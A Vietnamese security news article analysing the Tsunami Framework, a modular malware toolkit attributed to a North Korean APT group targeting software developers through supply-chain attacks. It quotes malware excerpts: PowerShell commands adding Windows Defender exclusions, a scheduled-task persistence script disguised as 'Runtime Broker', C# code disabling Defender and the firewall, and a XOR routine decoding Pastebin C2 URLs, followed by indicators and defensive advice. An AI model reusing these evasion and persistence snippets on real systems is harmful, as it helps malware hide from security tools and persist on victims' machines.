Tấn công chuỗi cung ứng dụng Tsunami Framework: Mối đe dọa từ nhóm tin tặc APT Triều Tiên

09:38 | 19/05/2025

Nhóm APT Bắc Triều Tiên, với sự hỗ trợ của Tsunami Framework – một nền tấn công mạng tinh vi, đang nhắm vào chuỗi cung ứng phần mềm, đặc biệt là các lập trình viên và môi trường phát triển. Framework này, được thiết kế dạng mô-đun, cho phép đánh cắp thông tin, khai thác tiền mã hóa và triển khai botnet, đồng thời sử dụng các kỹ thuật mã hóa và mạng TOR để tránh bị phát hiện. Báo cáo từ HI Solutions Research hé lộ mức độ phức tạp của chiến dịch này, đặt ra thách thức lớn cho an ninh mạng toàn cầu.

Nhóm APT Bắc Triều Tiên, nổi tiếng với các chiến dịch tấn công mạng tinh vi, đã sử dụng Tsunami Framework – một bộ công cụ dạng mô-đun nhằm thực hiện các cuộc tấn công chuỗi cung ứng nhắm vào giới lập trình viên và môi trường phát triển phần mềm. Báo cáo từ HI Solutions Research đã phân tích chi tiết cách thức hoạt động của framework này, hé lộ mức độ phức tạp và khả năng tránh bị phát hiện.

Tsunami Framework được thiết kế để thực hiện nhiều tác vụ tấn công khác nhau, bao gồm:

- Đánh cắp thông tin: Thu thập thông tin đăng nhập và khóa phiên từ các hệ thống bị xâm nhập.

- Keylogger: Ghi lại thao tác bàn phím để thu thập dữ liệu nhạy cảm.

- Đào tiền mã hóa: Triển khai hai loại phần mềm đào tiền mã hóa, tận dụng tài nguyên hệ thống nạn nhân.

- Botnet (đang phát triển): Một mô-đun mới, cho thấy tiềm năng mở rộng khả năng điều khiển từ xa các hệ thống bị nhiễm.

Framework này sử dụng máy chủ ra lệnh và điều khiển (C2) thông qua mạng TOR kết hợp với hơn 1.000 URL Pastebin được mã hóa XOR, cho phép phân phối và cập nhật payload một cách linh hoạt và khó bị truy vết. Quá trình lây nhiễm của Tsunami Framework được thực hiện qua ba giai đoạn chính như sau:

​BeaverTail Loader :Tải payload ban đầu từ domain ngoài như như api.npoint.io, thường liên kết đến các repository GitHub riêng tư. Đóng vai trò khởi tạo, chuẩn bị môi trường cho các giai đoạn tiếp theo.

1. Invisible Ferret:  Được triển khai bởi BeaverTail, chịu trách nhiệm thiết lập môi trường thực thi. Cài đặt trình thông dịch Python, xác định thư mục cài đặt và thực hiện các hành vi injection để duy trì sự hiện diện.

2. ​Tsunami Installer: Mạo danh Windows Update Script.pyw, được đặt trong thư mục khởi động để đảm bảo thực thi sau mỗi lần khởi động lại.

##### Tsunami Payload ##### 

def  add_windows_defender_exception(filepath: str) -> None: 
try: 
subprocess.run( 
["powershell.exe",  f"Add-MpPreference -ExclusionPath '{filepath}'"], 
shell = True, 
creationflags =  subprocess.CREATE_NO_WINDOW, 
stdout = subprocess.PIPE, 
stderr = subprocess.PIPE, 
stdin = subprocess.PIPE 
) 

output(f"Added a new file to  the Windows Defender exception") 
except Exception as e: 
output(f"[-] Failed to add  Windows Defender exception: {e}") 

  def create_task() -> None: 
powershell_script =  f\"\"\" 
$Action = New-ScheduledTaskAction  -Execute "{TSUNAMI_INSTALLER_PATH}" 
$Trigger =  New-ScheduledTaskTrigger -AtLogOn 
$Principal =  New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive 
$Principal.RunLevel = 1 
$Settings =  New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries  -DontStopIfGoingOnBatteries -DontStopOnIdleEnd 
Register-ScheduledTask -Action  $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -TaskName  "Runtime Broker" 
\"\"\"

Các thành phần chính của Tsunami Installer được lưu trữ tại thư mục AppData/Microsoft/Windows/Applications/Runtime và Broker.exe, giúp ngụy trang dưới dạng quy trình hệ thống hợp lệ.

Powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System Runtime 
 Monitor.exe' 
 powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Applications\Runtime Broker.exe' 
 powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Microsoft\Windows\Applications\Runtime Broker.exe' 
 powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Dependencies\System Runtime Monitor.exe' 
 powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Microsoft\WindowsApps\msedge.exe' 
 powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Temp\\Runtime Broker.exe' 

​Ngoài ra, Tsunami Framework sử dụng nhiều kỹ thuật tinh vi để qua mặt các biện pháp bảo mật như:

- PowerShell: ​Tạo nhiệm vụ lập lịch (scheduled tasks) khởi động theo phiên đăng nhập, đảm bảo tính bền bỉ. Thêm ngoại lệ vào Windows Defender để ngăn chặn phát hiện.

​- TsuAmFlag.txt: ​File này đóng vai trò điều khiển trạng thái, trì hoãn thời gian kích hoạt (1 hoặc 5 phút sau đăng nhập) tùy thuộc vào điều kiện hệ thống, giúp giảm khả năng bị phát hiện.

private static void DisableWindowsSecurity() 
{ 
int num = AntiDefender.FlagExists() ? 1 : 0; 
AntiDefender.DisableWindowsDefender(); 
AntiDefender.DisableWindowsFirewall(); 
if (num != 0) 
{ 
Logger.LogInfo("Program.DisableWindowsSecurity", "Detected Anti Malware flag, sleeping for 1 minute"); 
Thread.Sleep(60000); 
} 
else 
{ 
Logger.LogInfo("Program.DisableWindowsSecurity", "Did not detect Anti Malware flag, sleeping for 5 minutes"); 
Thread.Sleep(300000); 
} 

- ​Mã hóa và Pastebin: Sử dụng các URL Pastebin mã hóa XOR để giao tiếp C2, khiến việc phân tích và chặn kết nối trở nên khó khăn.​​

#### URL Downloader ##### 

 def xor_encrypt(text: bytes): 
XOR_KEY = b"!!!HappyPenguin1950!!!" 

encrypted_text = bytearray() 
for i in range(len(text)): 
encrypted_text.append(text[i] ^ XOR_KEY[i % len(XOR_KEY)]) 
return bytes(encrypted_text) 

 def xor_decrypt(text: bytes): 
return xor_encrypt(text) 

 def decode(encoded: str) -> str: 
encoded_bytes = binascii.unhexlify(encoded) 
encoded_bytes = xor_decrypt(encoded_bytes) 
encoded = base64.b64decode(encoded_bytes).decode() 

return encoded[::-1] 

 def download_installer_url() -> str: 
URLS = [ 

 "6c5b6c7c2f1d081134225b0b2f2e025b6005764a434c774f7b1d19163e3d091c205419060d76004f52135951406763783b274511322d2
 c0b172e027675066557437618 
 4b6d255400291406550d55331e224801035312631145664675", 
 … 

Bên cạnh chức năng cơ bản, Tsunami Framework còn bao gồm các mô-đun chuyên biệt:

- SecretFileStealer: Giao tiếp với C2 để xác định và đánh cắp các tệp mục tiêu cụ thể, tối ưu hóa việc thu thập dữ liệu nhạy cảm.

- Botnet module: Mặc dù đang trong giai đoạn phát triển, mô-đun này cho thấy tham vọng mở rộng khả năng điều khiển từ xa, biến các hệ thống bị nhiễm thành một mạng botnet tiềm năng.

Các dấu hiệu bất thường liên quan đến Tsunami Framework bao gồm:

- Truy cập bất thường đến các domain GitHub riêng tư.

- .pywSử dụng Python launcher và các file mạo danh các bản cập nhật hệ thống.

- Kết nối thường xuyên đến Pastebin từ các thiết bị không được ủy quyền.

Tsunami Framework cho thấy sự tinh vi trong thiết kế và triển khai, với tính mô-đun cao và khả năng tránh phát hiện vượt trội. Nhóm APT Bắc Triều Tiên tiếp tục nhắm mục tiêu vào các lập trình viên và môi trường phát triển phần mềm, tận dụng chuỗi cung ứng để phát tán mã độc. Để đối phó với các cuộc tấn công liên quan đến chiến dịch này, cần triển khai một số giải pháp phòng thủ cục thể như:

- Giám sát mạng: Theo dõi các kết nối đến Pastebin và các domain GitHub không rõ nguồn gốc.

- Kiểm tra file hệ thống.pywRuntime Broker.exe: Phát hiện các file hoặc trong các thư mục không hợp lệ.

- Tăng cường bảo mật chuỗi cung ứng: Kiểm tra mã nguồn và các thư viện bên thứ ba trước khi sử dụng.

- Cập nhật phần mềm bảo mật: Đảm bảo các công cụ như Windows Defender được cấu hình để phát hiện các hành vi bất thường, bao gồm cả các lệnh PowerShell đáng ngờ.

Tấn công chuỗi cung ứng sử dụng Tsunami Framework là một ví dụ điển hình về sự phát triển không ngừng của các mối đe dọa mạng từ nhóm APT Bắc Triều Tiên. Với khả năng ngụy trang, tính mô-đun và các kỹ thuật tránh phát hiện tinh vi, Tsunami Framework đặt ra thách thức lớn cho các tổ chức trong việc bảo vệ môi trường phát triển phần mềm. Việc nâng cao nhận thức và triển khai các biện pháp bảo mật chủ động là cần thiết để giảm thiểu rủi ro từ các chiến dịch tương tự trong tương lai.

Để lại bình luận